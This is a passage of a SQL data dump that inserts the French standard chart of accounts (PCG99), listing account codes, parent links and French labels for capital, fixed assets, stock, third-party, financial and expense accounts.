de remboursement des obligations',NULL,0,NULL,NULL,1,0,NULL,NULL),(146,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','17',1501,'Dettes rattachées à des participations',NULL,0,NULL,NULL,1,0,NULL,NULL),(147,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','171',146,'Dettes rattachées à des participations (groupe)',NULL,0,NULL,NULL,1,0,NULL,NULL),(148,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','174',146,'Dettes rattachées à des participations (hors groupe)',NULL,0,NULL,NULL,1,0,NULL,NULL),(149,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','178',146,'Dettes rattachées à des sociétés en participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(150,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','18',1501,'Comptes de liaison des établissements et sociétés en participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(151,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','181',150,'Comptes de liaison des établissements',NULL,0,NULL,NULL,1,0,NULL,NULL),(152,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','186',150,'Biens et prestations de services échangés entre établissements (charges)',NULL,0,NULL,NULL,1,0,NULL,NULL),(153,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','187',150,'Biens et prestations de services échangés entre établissements (produits)',NULL,0,NULL,NULL,1,0,NULL,NULL),(154,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','CAPIT','188',150,'Comptes de liaison des sociétés en participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(155,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','20',1502,'Immobilisations incorporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(156,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','201',155,'Frais d\'établissement',NULL,0,NULL,NULL,1,0,NULL,NULL),(157,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','203',155,'Frais de recherche et de développement',NULL,0,NULL,NULL,1,0,NULL,NULL),(158,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','205',155,'Concessions et droits similaires, brevets, licences, marques, procédés, logiciels, droits et valeurs similaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(159,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','206',155,'Droit au bail',NULL,0,NULL,NULL,1,0,NULL,NULL),(160,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','207',155,'Fonds commercial',NULL,0,NULL,NULL,1,0,NULL,NULL),(161,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','208',155,'Autres immobilisations incorporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(162,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','21',1502,'Immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(163,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','211',162,'Terrains',NULL,0,NULL,NULL,1,0,NULL,NULL),(164,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','212',162,'Agencements et aménagements de terrains',NULL,0,NULL,NULL,1,0,NULL,NULL),(165,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','213',162,'Constructions',NULL,0,NULL,NULL,1,0,NULL,NULL),(166,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','214',162,'Constructions sur sol d\'autrui',NULL,0,NULL,NULL,1,0,NULL,NULL),(167,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','215',162,'Installations techniques, matériels et outillage industriels',NULL,0,NULL,NULL,1,0,NULL,NULL),(168,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','218',162,'Autres immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(169,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','22',1502,'Immobilisations mises en concession',NULL,0,NULL,NULL,1,0,NULL,NULL),(170,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','23',1502,'Immobilisations en cours',NULL,0,NULL,NULL,1,0,NULL,NULL),(171,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','231',170,'Immobilisations corporelles en cours',NULL,0,NULL,NULL,1,0,NULL,NULL),(172,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','232',170,'Immobilisations incorporelles en cours',NULL,0,NULL,NULL,1,0,NULL,NULL),(173,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','237',170,'Avances et acomptes versés sur immobilisations incorporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(174,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','238',170,'Avances et acomptes versés sur commandes d\'immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(175,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','25',1502,'Parts dans des entreprises liées et créances sur des entreprises liées',NULL,0,NULL,NULL,1,0,NULL,NULL),(176,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','26',1502,'Participations et créances rattachées à des participations',NULL,0,NULL,NULL,1,0,NULL,NULL),(177,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','261',176,'Titres de participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(178,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','266',176,'Autres formes de participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(179,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','267',176,'Créances rattachées à des participations',NULL,0,NULL,NULL,1,0,NULL,NULL),(180,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','268',176,'Créances rattachées à des sociétés en participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(181,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','269',176,'Versements restant à effectuer sur titres de participation non libérés',NULL,0,NULL,NULL,1,0,NULL,NULL),(182,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','27',1502,'Autres immobilisations financieres',NULL,0,NULL,NULL,1,0,NULL,NULL),(183,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','271',183,'Titres immobilisés autres que les titres immobilisés de l\'activité de portefeuille (droit de propriété)',NULL,0,NULL,NULL,1,0,NULL,NULL),(184,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','272',183,'Titres immobilisés (droit de créance)',NULL,0,NULL,NULL,1,0,NULL,NULL),(185,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','273',183,'Titres immobilisés de l\'activité de portefeuille',NULL,0,NULL,NULL,1,0,NULL,NULL),(186,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','274',183,'Prêts',NULL,0,NULL,NULL,1,0,NULL,NULL),(187,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','275',183,'Dépôts et cautionnements versés',NULL,0,NULL,NULL,1,0,NULL,NULL),(188,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','276',183,'Autres créances immobilisées',NULL,0,NULL,NULL,1,0,NULL,NULL),(189,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','277',183,'(Actions propres ou parts propres)',NULL,0,NULL,NULL,1,0,NULL,NULL),(190,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','279',183,'Versements restant à effectuer sur titres immobilisés non libérés',NULL,0,NULL,NULL,1,0,NULL,NULL),(191,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','28',1502,'Amortissements des immobilisations',NULL,0,NULL,NULL,1,0,NULL,NULL),(192,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','280',191,'Amortissements des immobilisations incorporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(193,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','281',191,'Amortissements des immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(194,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','282',191,'Amortissements des immobilisations mises en concession',NULL,0,NULL,NULL,1,0,NULL,NULL),(195,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','29',1502,'Dépréciations des immobilisations',NULL,0,NULL,NULL,1,0,NULL,NULL),(196,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','290',195,'Dépréciations des immobilisations incorporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(197,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','291',195,'Dépréciations des immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(198,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','292',195,'Dépréciations des immobilisations mises en concession',NULL,0,NULL,NULL,1,0,NULL,NULL),(199,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','293',195,'Dépréciations des immobilisations en cours',NULL,0,NULL,NULL,1,0,NULL,NULL),(200,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','296',195,'Provisions pour dépréciation des participations et créances rattachées à des participations',NULL,0,NULL,NULL,1,0,NULL,NULL),(201,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','IMMO','297',195,'Provisions pour dépréciation des autres immobilisations financières',NULL,0,NULL,NULL,1,0,NULL,NULL),(202,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','31',1503,'Matières premières (et fournitures)',NULL,0,NULL,NULL,1,0,NULL,NULL),(203,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','311',202,'Matières (ou groupe) A',NULL,0,NULL,NULL,1,0,NULL,NULL),(204,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','312',202,'Matières (ou groupe) B',NULL,0,NULL,NULL,1,0,NULL,NULL),(205,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','317',202,'Fournitures A, B, C,',NULL,0,NULL,NULL,1,0,NULL,NULL),(206,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','32',1503,'Autres approvisionnements',NULL,0,NULL,NULL,1,0,NULL,NULL),(207,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','321',206,'Matières consommables',NULL,0,NULL,NULL,1,0,NULL,NULL),(208,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','322',206,'Fournitures consommables',NULL,0,NULL,NULL,1,0,NULL,NULL),(209,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','326',206,'Emballages',NULL,0,NULL,NULL,1,0,NULL,NULL),(210,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','33',1503,'En-cours de production de biens',NULL,0,NULL,NULL,1,0,NULL,NULL),(211,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','331',210,'Produits en cours',NULL,0,NULL,NULL,1,0,NULL,NULL),(212,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','335',210,'Travaux en cours',NULL,0,NULL,NULL,1,0,NULL,NULL),(213,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','34',1503,'En-cours de production de services',NULL,0,NULL,NULL,1,0,NULL,NULL),(214,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','341',213,'Etudes en cours',NULL,0,NULL,NULL,1,0,NULL,NULL),(215,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','345',213,'Prestations de services en cours',NULL,0,NULL,NULL,1,0,NULL,NULL),(216,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','35',1503,'Stocks de produits',NULL,0,NULL,NULL,1,0,NULL,NULL),(217,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','351',216,'Produits intermédiaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(218,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','355',216,'Produits finis',NULL,0,NULL,NULL,1,0,NULL,NULL),(219,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','358',216,'Produits résiduels (ou matières de récupération)',NULL,0,NULL,NULL,1,0,NULL,NULL),(220,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','37',1503,'Stocks de marchandises',NULL,0,NULL,NULL,1,0,NULL,NULL),(221,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','371',220,'Marchandises (ou groupe) A',NULL,0,NULL,NULL,1,0,NULL,NULL),(222,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','372',220,'Marchandises (ou groupe) B',NULL,0,NULL,NULL,1,0,NULL,NULL),(223,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','39',1503,'Provisions pour dépréciation des stocks et en-cours',NULL,0,NULL,NULL,1,0,NULL,NULL),(224,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','391',223,'Provisions pour dépréciation des matières premières',NULL,0,NULL,NULL,1,0,NULL,NULL),(225,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','392',223,'Provisions pour dépréciation des autres approvisionnements',NULL,0,NULL,NULL,1,0,NULL,NULL),(226,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','393',223,'Provisions pour dépréciation des en-cours de production de biens',NULL,0,NULL,NULL,1,0,NULL,NULL),(227,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','394',223,'Provisions pour dépréciation des en-cours de production de services',NULL,0,NULL,NULL,1,0,NULL,NULL),(228,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','395',223,'Provisions pour dépréciation des stocks de produits',NULL,0,NULL,NULL,1,0,NULL,NULL),(229,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','STOCK','397',223,'Provisions pour dépréciation des stocks de marchandises',NULL,0,NULL,NULL,1,0,NULL,NULL),(230,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','40',1504,'Fournisseurs et Comptes rattachés',NULL,0,NULL,NULL,1,0,NULL,NULL),(231,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','400',230,'Fournisseurs et Comptes rattachés',NULL,0,NULL,NULL,1,0,NULL,NULL),(232,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','401',230,'Fournisseurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(233,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','403',230,'Fournisseurs - Effets à payer',NULL,0,NULL,NULL,1,0,NULL,NULL),(234,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','404',230,'Fournisseurs d\'immobilisations',NULL,0,NULL,NULL,1,0,NULL,NULL),(235,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','405',230,'Fournisseurs d\'immobilisations - Effets à payer',NULL,0,NULL,NULL,1,0,NULL,NULL),(236,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','408',230,'Fournisseurs - Factures non parvenues',NULL,0,NULL,NULL,1,0,NULL,NULL),(237,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','409',230,'Fournisseurs débiteurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(238,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','41',1504,'Clients et comptes rattachés',NULL,0,NULL,NULL,1,0,NULL,NULL),(239,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','410',238,'Clients et Comptes rattachés',NULL,0,NULL,NULL,1,0,NULL,NULL),(240,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','411',238,'Clients',NULL,0,NULL,NULL,1,0,NULL,NULL),(241,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','413',238,'Clients - Effets à recevoir',NULL,0,NULL,NULL,1,0,NULL,NULL),(242,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','416',238,'Clients douteux ou litigieux',NULL,0,NULL,NULL,1,0,NULL,NULL),(243,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','418',238,'Clients - Produits non encore facturés',NULL,0,NULL,NULL,1,0,NULL,NULL),(244,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','419',238,'Clients créditeurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(245,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','42',1504,'Personnel et comptes rattachés',NULL,0,NULL,NULL,1,0,NULL,NULL),(246,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','421',245,'Personnel - Rémunérations dues',NULL,0,NULL,NULL,1,0,NULL,NULL),(247,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','422',245,'Comités d\'entreprises, d\'établissement, ...',NULL,0,NULL,NULL,1,0,NULL,NULL),(248,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','424',245,'Participation des salariés aux résultats',NULL,0,NULL,NULL,1,0,NULL,NULL),(249,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','425',245,'Personnel - Avances et acomptes',NULL,0,NULL,NULL,1,0,NULL,NULL),(250,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','426',245,'Personnel - Dépôts',NULL,0,NULL,NULL,1,0,NULL,NULL),(251,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','427',245,'Personnel - Oppositions',NULL,0,NULL,NULL,1,0,NULL,NULL),(252,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','428',245,'Personnel - Charges à payer et produits à recevoir',NULL,0,NULL,NULL,1,0,NULL,NULL),(253,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','43',1504,'Sécurité sociale et autres organismes sociaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(254,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','431',253,'Sécurité sociale',NULL,0,NULL,NULL,1,0,NULL,NULL),(255,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','437',253,'Autres organismes sociaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(256,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','438',253,'Organismes sociaux - Charges à payer et produits à recevoir',NULL,0,NULL,NULL,1,0,NULL,NULL),(257,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','44',1504,'État et autres collectivités publiques',NULL,0,NULL,NULL,1,0,NULL,NULL),(258,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','441',257,'État - Subventions à recevoir',NULL,0,NULL,NULL,1,0,NULL,NULL),(259,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','442',257,'Etat - Impôts et taxes recouvrables sur des tiers',NULL,0,NULL,NULL,1,0,NULL,NULL),(260,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','443',257,'Opérations particulières avec l\'Etat, les collectivités publiques, les organismes internationaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(261,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','444',257,'Etat - Impôts sur les bénéfices',NULL,0,NULL,NULL,1,0,NULL,NULL),(262,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','445',257,'Etat - Taxes sur le chiffre d\'affaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(263,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','446',257,'Obligations cautionnées',NULL,0,NULL,NULL,1,0,NULL,NULL),(264,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','447',257,'Autres impôts, taxes et versements assimilés',NULL,0,NULL,NULL,1,0,NULL,NULL),(265,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','448',257,'Etat - Charges à payer et produits à recevoir',NULL,0,NULL,NULL,1,0,NULL,NULL),(266,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','449',257,'Quotas d\'émission à restituer à l\'Etat',NULL,0,NULL,NULL,1,0,NULL,NULL),(267,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','45',1504,'Groupe et associes',NULL,0,NULL,NULL,1,0,NULL,NULL),(268,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','451',267,'Groupe',NULL,0,NULL,NULL,1,0,NULL,NULL),(269,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','455',267,'Associés - Comptes courants',NULL,0,NULL,NULL,1,0,NULL,NULL),(270,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','456',267,'Associés - Opérations sur le capital',NULL,0,NULL,NULL,1,0,NULL,NULL),(271,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','457',267,'Associés - Dividendes à payer',NULL,0,NULL,NULL,1,0,NULL,NULL),(272,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','458',267,'Associés - Opérations faites en commun et en G.I.E.',NULL,0,NULL,NULL,1,0,NULL,NULL),(273,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','46',1504,'Débiteurs divers et créditeurs divers',NULL,0,NULL,NULL,1,0,NULL,NULL),(274,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','462',273,'Créances sur cessions d\'immobilisations',NULL,0,NULL,NULL,1,0,NULL,NULL),(275,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','464',273,'Dettes sur acquisitions de valeurs mobilières de placement',NULL,0,NULL,NULL,1,0,NULL,NULL),(276,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','465',273,'Créances sur cessions de valeurs mobilières de placement',NULL,0,NULL,NULL,1,0,NULL,NULL),(277,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','467',273,'Autres comptes débiteurs ou créditeurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(278,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','468',273,'Divers - Charges à payer et produits à recevoir',NULL,0,NULL,NULL,1,0,NULL,NULL),(279,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','47',1504,'Comptes transitoires ou d\'attente',NULL,0,NULL,NULL,1,0,NULL,NULL),(280,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','471',279,'Comptes d\'attente',NULL,0,NULL,NULL,1,0,NULL,NULL),(281,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','476',279,'Différence de conversion - Actif',NULL,0,NULL,NULL,1,0,NULL,NULL),(282,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','477',279,'Différences de conversion - Passif',NULL,0,NULL,NULL,1,0,NULL,NULL),(283,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','478',279,'Autres comptes transitoires',NULL,0,NULL,NULL,1,0,NULL,NULL),(284,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','48',1504,'Comptes de régularisation',NULL,0,NULL,NULL,1,0,NULL,NULL),(285,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','481',284,'Charges à répartir sur plusieurs exercices',NULL,0,NULL,NULL,1,0,NULL,NULL),(286,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','486',284,'Charges constatées d\'avance',NULL,0,NULL,NULL,1,0,NULL,NULL),(287,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','487',284,'Produits constatés d\'avance',NULL,0,NULL,NULL,1,0,NULL,NULL),(288,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','488',284,'Comptes de répartition périodique des charges et des produits',NULL,0,NULL,NULL,1,0,NULL,NULL),(289,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','489',284,'Quotas d\'émission alloués par l\'Etat',NULL,0,NULL,NULL,1,0,NULL,NULL),(290,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','49',1504,'Provisions pour dépréciation des comptes de tiers',NULL,0,NULL,NULL,1,0,NULL,NULL),(291,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','491',290,'Provisions pour dépréciation des comptes de clients',NULL,0,NULL,NULL,1,0,NULL,NULL),(292,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','495',290,'Provisions pour dépréciation des comptes du groupe et des associés',NULL,0,NULL,NULL,1,0,NULL,NULL),(293,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','496',290,'Provisions pour dépréciation des comptes de débiteurs divers',NULL,0,NULL,NULL,1,0,NULL,NULL),(294,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','50',1505,'Valeurs mobilières de placement',NULL,0,NULL,NULL,1,0,NULL,NULL),(295,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','501',294,'Parts dans des entreprises liées',NULL,0,NULL,NULL,1,0,NULL,NULL),(296,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','502',294,'Actions propres',NULL,0,NULL,NULL,1,0,NULL,NULL),(297,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','503',294,'Actions',NULL,0,NULL,NULL,1,0,NULL,NULL),(298,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','504',294,'Autres titres conférant un droit de propriété',NULL,0,NULL,NULL,1,0,NULL,NULL),(299,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','505',294,'Obligations et bons émis par la société et rachetés par elle',NULL,0,NULL,NULL,1,0,NULL,NULL),(300,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','506',294,'Obligations',NULL,0,NULL,NULL,1,0,NULL,NULL),(301,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','507',294,'Bons du Trésor et bons de caisse à court terme',NULL,0,NULL,NULL,1,0,NULL,NULL),(302,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','508',294,'Autres valeurs mobilières de placement et autres créances assimilées',NULL,0,NULL,NULL,1,0,NULL,NULL),(303,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','509',294,'Versements restant à effectuer sur valeurs mobilières de placement non libérées',NULL,0,NULL,NULL,1,0,NULL,NULL),(304,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','51',1505,'Banques, établissements financiers et assimilés',NULL,0,NULL,NULL,1,0,NULL,NULL),(305,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','511',304,'Valeurs à l\'encaissement',NULL,0,NULL,NULL,1,0,NULL,NULL),(306,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','512',304,'Banques',NULL,0,NULL,NULL,1,0,NULL,NULL),(307,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','514',304,'Chèques postaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(308,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','515',304,'\"Caisses\" du Trésor et des établissements publics',NULL,0,NULL,NULL,1,0,NULL,NULL),(309,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','516',304,'Sociétés de bourse',NULL,0,NULL,NULL,1,0,NULL,NULL),(310,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','517',304,'Autres organismes financiers',NULL,0,NULL,NULL,1,0,NULL,NULL),(311,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','518',304,'Intérêts courus',NULL,0,NULL,NULL,1,0,NULL,NULL),(312,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','519',304,'Concours bancaires courants',NULL,0,NULL,NULL,1,0,NULL,NULL),(313,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','52',1505,'Instruments de trésorerie',NULL,0,NULL,NULL,1,0,NULL,NULL),(314,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','53',1505,'Caisse',NULL,0,NULL,NULL,1,0,NULL,NULL),(315,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','531',314,'Caisse siège social',NULL,0,NULL,NULL,1,0,NULL,NULL),(316,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','532',314,'Caisse succursale (ou usine) A',NULL,0,NULL,NULL,1,0,NULL,NULL),(317,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','533',314,'Caisse succursale (ou usine) B',NULL,0,NULL,NULL,1,0,NULL,NULL),(318,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','54',1505,'Régies d\'avance et accréditifs',NULL,0,NULL,NULL,1,0,NULL,NULL),(319,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','58',1505,'Virements internes',NULL,0,NULL,NULL,1,0,NULL,NULL),(320,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','59',1505,'Provisions pour dépréciation des comptes financiers',NULL,0,NULL,NULL,1,0,NULL,NULL),(321,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','590',320,'Provisions pour dépréciation des valeurs mobilières de placement',NULL,0,NULL,NULL,1,0,NULL,NULL),(322,1,NULL,'2022-12-29 18:13:02','PCG99-BASE','EXPENSE','60',1506,'Achats',NULL,2,NULL,NULL,1,0,NULL,NULL),(323,1,NULL,'2022-12-29 18:13:02','PCG99-BASE','EXPENSE','601',322,'Achats stockés - Matières premières (et fournitures)',NULL,2,NULL,NULL,1,0,NULL,NULL),(324,1,NULL,'2022-12-29 18:13:02','PCG99-BASE','EXPENSE','602',322,'Achats stockés - Autres approvisionnements',NULL,2,NULL,NULL,1,0,NULL,NULL),(325,1,NULL,'2022-12-29 18:13:02','PCG99-BASE','EXPENSE','603',322,'Variations des stocks (approvisionnements et 